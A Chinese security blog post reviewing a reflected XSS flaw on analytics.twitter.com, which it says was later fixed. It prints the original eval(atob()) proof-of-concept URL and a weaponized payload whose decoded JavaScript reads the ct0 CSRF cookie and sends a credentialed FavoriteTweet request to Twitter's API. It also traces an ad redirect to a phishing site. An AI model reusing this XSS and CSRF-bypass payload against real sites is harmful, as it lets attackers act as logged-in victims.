Twitter核弹漏洞事件回顾
CVES实验室
“CVES实验室”(www.cves.io)由团队旗下SRC组与渗透组合并而成,专注于漏洞挖掘、渗透测试与情报分析等方向。近年来我们报送漏洞总数已达八万余个,其中包含多个部级单位、多个通信运营商、Apache、Nginx、Thinkphp等,获得CNVD证书、CVE编号数百个,在不同规模的攻防演练活动中获奖无数,协助有关部门破获多起省督级别的案件。
起因
起因于rabbit公布的一个反射型xss(公布原因是twitter官方不认可这个漏洞且很长时间都没有修复) payload如下所示:
https://analytics.twitter.com/mob_idsync_click?BKLISTID=fbzzx&Country=fxpzg&FSale_25Offer_RLE_Ends_EPD00E25=fwngn&OrgURL=cvvff&TIBCO=v6zjh&_101_returnToFullPageURL=otohn&ad_tracking=true&bep_csid=b3atc&brzu=nj1zx&cc=vg6yk&device_id=thlat&embtrk=r32wa&hideCard=g8b7k&idb=AAAAEICqlMGCMk-gSiMpMuNiRkC-SR1GJ1-zqKcpLy1Hrmbe9fxsnRpuyLA6TP25Zu8ATg93eSHJoznfQpU7JEl0f62r5Pe2LWJWQUzL_4ACZlFDOqZ1HXMYjZ-HNR44awQbp-aYickBlzMBKzP0qBykrS_Veox31HBnRjXPeqqyqkxSQ5cObnSxYNYbPQTRyiSOx3kS-f6ZiBIHxtBwbX1PHr6fgstZjZqMR_56ZohShKJeO8z2TPXZuisb7KmTI2J7qLg75L0xPv9_btDhj0Rc1g&ke_efl=t2tk5&pcode=h70ud&prev_fmts=eydk9&q_mailing_7TUwnpGAByUKFEoRC3VwHdrbpSRRaXie9kfMJ=zj7zd&segment_index=zey6z&sfvc4enews=mc1uc&slug=mmkDvcuyDJ&subscribe_cta=hmwlm&tailored_ads=true&twclid=%22-eval(atob(%22YWxlcnQoJ1hTUyBQb0MgaGVyZScp%22))-%22
其中twclid参数中有段base64
YWxlcnQoJ1hTUyBQb0MgaGVyZScp
解码为
alert('XSS PoC here')
atob方法进行base64解码是一个常用的bypass xss思路。
在网上发酵了数个小时之后,另一位师傅Chaofan Shou研究出了武器化思路,可以将反射型xss实现csrf的效果,只需要点击发的链接就进行一些登录后才能进行的操作,例如修改资料、转贴等。
我猜测是可以使用fetch进行攻击成功扩大,静静等待最新消息纰漏,然后,最新消息就来了,twitter官方修复了这个漏洞,Chaofan Shou也发布了详细的细节。
细节
一、
This XSS seems to be nothing beyond alert popper because:
这个xss似乎做不了alert以外的操作因为以下三个问题:
1). Twitter's cookies are HttpOnly, meaning reading them using Javascript is impossible.
Twitter的cookie是HttpOnly,意味着没办法通过js去读取。
2). There are CSRF tokens, so no CSRF attacks.
这里还有个csrf token,所以csrf攻击无效。
3). Strict same site policy on https://twitter.com/, so no CSRF attacks to it.
Twitter主站有同站策略,所以csrf攻击也无效。
二、
However, I figured out some undocumented endpoints on https://api.twitter.com also support using cookies to access. This means that any XSS on subdomains of Twitter can send requests to https://api.twitter.com and impersonate the user. This solves problems 1 and 3.
然而,在api.twitter.com上却有一些undocumented endpoints是允许使用cookie访问的。这就意味着所有twitter子域名上的xss漏洞可以模拟用户对api.twitter.com进行请求。这就能解决问题1和3。
三、
Reverse engineering the JS code of https://twitter.com/, I found that the CSRF token is just a hash of csrf_id in the cookie. Surprisingly, the csrf_id is not HttpOnly cookie, meaning that subdomain XSS can read this csrf_id and create CSRF tokens. This solves problem 2.
通过对twitter主站进行js逆向分析,发现csrf token就是cookie中csrf_id的hash值。而csrf_id不是HttpOnly cookie,这就意味着所有twitter子域名上的xss漏洞可以读取csrf_id、创建所谓的csrf token。这就能解决问题2。
最终就可以得到完整的payload:
https://analytics.twitter.com/mob_idsync_click?BKLISTID=fbzzx&Country=fxpzg&FSale_25Offer_RLE_Ends_EPD00E25=fwngn&OrgURL=cvvff&TIBCO=v6zjh&_101_returnToFullPageURL=otohn&ad_tracking=true&bep_csid=b3atc&brzu=nj1zx&cc=vg6yk&device_id=thlat&embtrk=r32wa&hideCard=g8b7k&idb=AAAAEICqlMGCMk-gSiMpMuNiRkC-SR1GJ1-zqKcpLy1Hrmbe9fxsnRpuyLA6TP25Zu8ATg93eSHJoznfQpU7JEl0f62r5Pe2LWJWQUzL_4ACZlFDOqZ1HXMYjZ-HNR44awQbp-aYickBlzMBKzP0qBykrS_Veox31HBnRjXPeqqyqkxSQ5cObnSxYNYbPQTRyiSOx3kS-f6ZiBIHxtBwbX1PHr6fgstZjZqMR_56ZohShKJeO8z2TPXZuisb7KmTI2J7qLg75L0xPv9_btDhj0Rc1g&ke_efl=t2tk5&pcode=h70ud&prev_fmts=eydk9&q_mailing_7TUwnpGAByUKFEoRC3VwHdrbpSRRaXie9kfMJ=zj7zd&segment_index=zey6z&sfvc4enews=mc1uc&slug=mmkDvcuyDJ&subscribe_cta=hmwlm&tailored_ads=true&twclid=%22-eval(atob(%22ZnVuY3Rpb24gaShlLCB0KSB7CiAgICB0cnkgewogICAgICAgIHJldHVybiB0KGUpCiAgICB9IGNhdGNoICh0KSB7CiAgICAgICAgcmV0dXJuIGUKICAgIH0KfQpwYXJzZSA9IGZ1bmN0aW9uKGUsIHQpIHsKICAgIGlmICgic3RyaW5nIiAhPSB0eXBlb2YgZSkKICAgICAgICB0aHJvdyBuZXcgVHlwZUVycm9yKCJhcmd1bWVudCBzdHIgbXVzdCBiZSBhIHN0cmluZyIpOwogICAgZm9yICh2YXIgciA9IHt9LCBhID0gdCB8fCB7fSwgYyA9IGUuc3BsaXQoLzsgKi8pLCBvID0gYS5kZWNvZGUgfHxkZWNvZGVVUklDb21wb25lbnQsIHUgPSAwOyB1IDwgYy5sZW5ndGg7IHUrKykgewogICAgICAgIHZhciBsID0gY1t1XQogICAgICAgICAgLCBkID0gbC5pbmRleE9mKCI9Iik7CiAgICAgICAgaWYgKCEoZCA8IDApKSB7CiAgICAgICAgICAgIHZhciBtID0gbC5zdWJzdHIoMCwgZCkudHJpbSgpCiAgICAgICAgICAgICAgLCBwID0gbC5zdWJzdHIoKytkLCBsLmxlbmd0aCkudHJpbSgpOwogICAgICAgICAgICAnIicgPT0gcFswXSAmJiAocCA9IHAuc2xpY2UoMSwgLTEpKSwKICAgICAgICAgICAgbnVsbCA9PSByW21dICYmIChyW21dID0gaShwLCBvKSkKICAgICAgICB9CiAgICB9CiAgICByZXR1cm4gcgp9CgpmZXRjaCgiaHR0cHM6Ly9hcGkudHdpdHRlci5jb20vZ3JhcGhxbC9sSTA3TjZPdHd2MVBobkVnWElMTTdBL0Zhdm9yaXRlVHdlZXQiLCB7CiAgImhlYWRlcnMiOiB7CiAgICAiYWNjZXB0IjogIiovKiIsCiAgICAiYWNjZXB0LWxhbmd1YWdlIjogInpoLUNOLHpoO3E9MC45LGVuO3E9MC44IiwKICAgICJhdXRob3JpemF0aW9uIjogIkJlYXJlciBBQUFBQUFBQUFBQUFBQUFBQUFBQUFOUklMZ0FBQUFBQW5Od0l6VWVqUkNPdUg1RTZJOHhuWno0cHVUcyUzRDFadjd0dGZrOExGODFJVXExNmNIamhMVHZKdTRGQTMzQUdXV2pDcFRuQSIsCiAgICAiY29udGVudC10eXBlIjogImFwcGxpY2F0aW9uL2pzb24iLAogICAgInNlYy1jaC11YSI6ICJcIkdvb2dsZSBDaHJvbWVcIjt2PVwiMTE5XCIsIFwiQ2hyb21pdW1cIjt2PVwiMTE5XCIsIFwiTm90P0FfQnJhbmRcIjt2PVwiMjRcIiIsCiAgICAic2VjLWNoLXVhLW1vYmlsZSI6ICI/MCIsCiAgICAic2VjLWNoLXVhLXBsYXRmb3JtIjogIlwibWFjT1NcIiIsCiAgICAic2VjLWZldGNoLWRlc3QiOiAiZW1wdHkiLAogICAgInNlYy1mZXRjaC1tb2RlIjogImNvcnMiLAogICAgInNlYy1mZXRjaC1zaXRlIjogInNhbWUtb3JpZ2luIiwKICAgICJ4LWNsaWVudC10cmFuc2FjdGlvbi1pZCI6ICI1OWYxYnlDM1FyRVFKRGRIaUo4cWt1b0JzQTFBU2FOVFdIWUUxU2FIa3Z6elMvazNVQ0dzNWJtcmNzWG1ENDN6RjMyRHp1WUlGNGQ3elFVU3o4bW9OeldKa213YTVnIiwKICAgICJ4LWNsaWVudC11dWlkIjogImJlYWJjYjk4LWZmMjMtNDVkOS05ZDE1LTY0YmU0ODQxODYwOCIsCiAgICAieC1jc3JmLXRva2VuIjogcGFyc2UoZG9jdW1lbnQuY29va2llKS5jdDAsCiAgICAieC10d2l0dGVyLWFjdGl2ZS11c2VyIjogInllcyIsCiAgICAieC10d2l0dGVyLWF1dGgtdHlwZSI6ICJPQXV0aDJTZXNzaW9uIiwKICAgICJ4LXR3aXR0ZXItY2xpZW50LWxhbmd1YWdlIjogImVuIgogIH0sCiAgInJlZmVycmVyIjogImh0dHBzOi8vdHdpdHRlci5jb20vc2hvdWNjY2Mvc3RhdHVzLzE3MzQ2ODQ4NTAxNzM3Mzk0MTIiLAogICJyZWZlcnJlclBvbGljeSI6ICJzdHJpY3Qtb3JpZ2luLXdoZW4tY3Jvc3Mtb3JpZ2luIiwKICAiYm9keSI6ICJ7XCJ2YXJpYWJsZXNcIjp7XCJ0d2VldF9pZFwiOlwiMTczNDY4NDg1MDE3MzczOTQxMlwifSxcInF1ZXJ5SWRcIjpcImxJMDdONk90d3YxUGhuRWdYSUxNN0FcIn0iLAogICJtZXRob2QiOiAiUE9TVCIsCiAgIm1vZGUiOiAiY29ycyIsCiAgICAgICJjcmVkZW50aWFscyI6ICJpbmNsdWRlIgp9KTs=%22))-%22…
base64解码得到:
function i(e, t) {
try {
return t(e)
} catch (t) {
return e
}
}
parse = function(e, t) {
if ("string" != typeof e)
throw new TypeError("argument str must be a string");
for (var r = {}, a = t || {}, c = e.split(/; */), o = a.decode ||decodeURIComponent, u = 0; u < c.length; u++) {
var l = c[u]
, d = l.indexOf("=");
if (!(d < 0)) {
var m = l.substr(0, d).trim()
, p = l.substr(++d, l.length).trim();
'"' == p[0] && (p = p.slice(1, -1)),
null == r[m] && (r[m] = i(p, o))
}
}
return r
}
fetch("https://api.twitter.com/graphql/lI07N6Otwv1PhnEgXILM7A/FavoriteTweet", {
"headers": {
"accept": "*/*",
"accept-language": "zh-CN,zh;q=0.9,en;q=0.8",
"authorization": "Bearer AAAAAAAAAAAAAAAAAAAAANRILgAAAAAAnNwIzUejRCOuH5E6I8xnZz4puTs%3D1Zv7ttfk8LF81IUq16cHjhLTvJu4FA33AGWWjCpTnA",
"content-type": "application/json",
"sec-ch-ua": "\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"",
"sec-ch-ua-mobile": "?0",
"sec-ch-ua-platform": "\"macOS\"",
"sec-fetch-dest": "empty",
"sec-fetch-mode": "cors",
"sec-fetch-site": "same-origin",
"x-client-transaction-id": "59f1byC3QrEQJDdHiJ8qkuoBsA1ASaNTWHYE1SaHkvzzS/k3UCGs5bmrcsXmD43zF32DzuYIF4d7zQUSz8moNzWJkmwa5g",
"x-client-uuid": "beabcb98-ff23-45d9-9d15-64be48418608",
"x-csrf-token": parse(document.cookie).ct0,
"x-twitter-active-user": "yes",
"x-twitter-auth-type": "OAuth2Session",
"x-twitter-client-language": "en"
},
"referrer": "https://twitter.com/shoucccc/status/1734684850173739412",
"referrerPolicy": "strict-origin-when-cross-origin",
"body": "{\"variables\":{\"tweet_id\":\"1734684850173739412\"},\"queryId\":\"lI07N6Otwv1PhnEgXILM7A\"}",
"method": "POST",
"mode": "cors",
"credentials": "include"
});
可以看出这个payload是利用了api.twitter.com中的FavoriteTweet接口,对https://twitter.com/shoucccc/status/1734684850173739412进行点赞操作。
x-csrf-token也会在访问链接的同时被 parse(document.cookie).ct0填充。
吐槽
analytics.twitter.com这里是一个ads广告功能,此时我想知道twclid在analytics.twitter.com上是做什么用的参数,于是找到了一个没看太懂的document和一个威胁报告。
https://business.twitter.com/en/help/campaign-measurement-and-analytics/conversion-tracking-for-websites.html
https://any.run/report/24cc51107b3a5d5b817c44066162c80be57fac926f4bc549825d85d737f2b128/7c4f8c95-1679-42e1-af9a-ccda3ac67633
报告中的恶意链接为:
https://analytics.twitter.com/mob_idsync_click?slug=RcxoRsCVYw&idb=AAAAEICHQCHLbDFAVhTme_YKOERzIOo1lRNcIvrs8J-0CZJfSp9sUKlkNEuR4c4Uklo7mWi7xwz43nrx838aTHL-UrGhFDY0n1Ms9fxn8PF-QpBLoWsxB7TE0iQvXeV4lGo28FWPIvJvD34Q-9coBiKJrxKJF9C6DCTNvILlBK5HhKG5SmFwNjbSl86KyQ2S0v4IQCqf2-OgtehOAQdsCjSDCQaQV24bHx4MYrfk5oZPFQWFng0hQwYkD5d00dpPuEnIRNsKeTbXcYzZQDywbnM4EA&tailored_ads=true&ad_track
访问链接以后的response如下:
HTTP/2 200 OK
Date: Wed, 13 Dec 2023 06:03:01 GMT
Perf: 7469935968
Server: tsa_k
Content-Type: text/html;charset=utf-8
Cache-Control: no-cache, no-store, max-age=0
X-Transaction: bf261b63abfef997
Content-Length: 991
X-Frame-Options: SAMEORIGIN
X-Transaction-Id: bf261b63abfef997
X-Xss-Protection: 0
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=631138519
X-Response-Time: 166
X-Connection-Hash: 71a0e93439703174e5dd81349a7d655962dcbbe5107050584ea2cb61f05cbce6
<html>
<head>
<meta name="referrer" content="never">
<noscript>
<meta http-equiv="refresh" content="0;url=https://t.co/RcxoRsCVYw">
</noscript>
</head>
<body>
<img height="1" width="1" style="display:none;" alt="" src="https://cm.g.doubleclick.net/pixel?google_nid=twitter_dbm&google_redir=https://analytics.twitter.com/tpm&idb=AAAAEICHQCHLbDFAVhTme_YKOERzIOo1lRNcIvrs8J-0CZJfSp9sUKlkNEuR4c4Uklo7mWi7xwz43nrx838aTHL-UrGhFDY0n1Ms9fxn8PF-QpBLoWsxB7TE0iQvXeV4lGo28FWPIvJvD34Q-9coBiKJrxKJF9C6DCTNvILlBK5HhKG5SmFwNjbSl86KyQ2S0v4IQCqf2-OgtehOAQdsCjSDCQaQV24bHx4MYrfk5oZPFQWFng0hQwYkD5d00dpPuEnIRNsKeTbXcYzZQDywbnM4EA&google_hm=NzU3ZTVkNTJiODQ0M2VhZjE1MTUzYzI2MDE2Yjc3ZjQ3MDkxYTdhMDU0NjQ4MDU3YjUyOThmNTU1OGM3MGM5ZQ==" />
<script>
var redirect = function () {
window.opener = null;
location.replace("https://t.co/RcxoRsCVYw");
};
window.onload = redirect;
window.setTimeout(redirect, 3000);
</script>
</body>
</html>
访问重定向的链接,继续抓包,response为:
HTTP/2 200 OK
Date: Wed, 13 Dec 2023 06:06:38 GMT
Perf: 7469935968
Vary: Origin
Server: tsa_k
Expires: Wed, 13 Dec 2023 06:11:38 GMT
Set-Cookie: muc=b2deb719-0e6c-43a9-87f9-11af74a615ae; Max-Age=63072000; Expires=Fri, 12 Dec 2025 06:06:38 GMT; Domain=t.co; Secure; SameSite=None
Set-Cookie: muc_ads=b2deb719-0e6c-43a9-87f9-11af74a615ae; Max-Age=63072000; Expires=Fri, 12 Dec 2025 06:06:38 GMT; Path=/; Domain=t.co; Secure; SameSite=None
Content-Type: text/html; charset=utf-8
Cache-Control: private,max-age=300
Content-Length: 244
X-Transaction-Id: 780c212eac1668ba
X-Xss-Protection: 0
Strict-Transport-Security: max-age=0
X-Response-Time: 176
X-Connection-Hash: b725bf0127e679867028102494ed1edcaac7423e1752fd1af974a90b7eb0b770
<head><noscript><META http-equiv="refresh" content="0;URL=https://3tu21g.sinopharm03.com"></noscript><title>https://3tu21g.sinopharm03.com</title></head><script>window.opener = null; location.replace("https:\/\/3tu21g.sinopharm03.com")</script>
又是一个重定向,这次是钓鱼网站了。
至此完成了一次从analytics.twitter.com 到 attacker.com的跳转,但是通过对其他analytics上的广告进行对比,发现这是一个正常的跳转活动......也就是说任何注册了twitter广告账号的人都可以随意制作钓鱼网站,甚至更加可怕的恶意网站然后用twitter ads进行包装,这,如果这是正常的业务功能,我也只能说666了。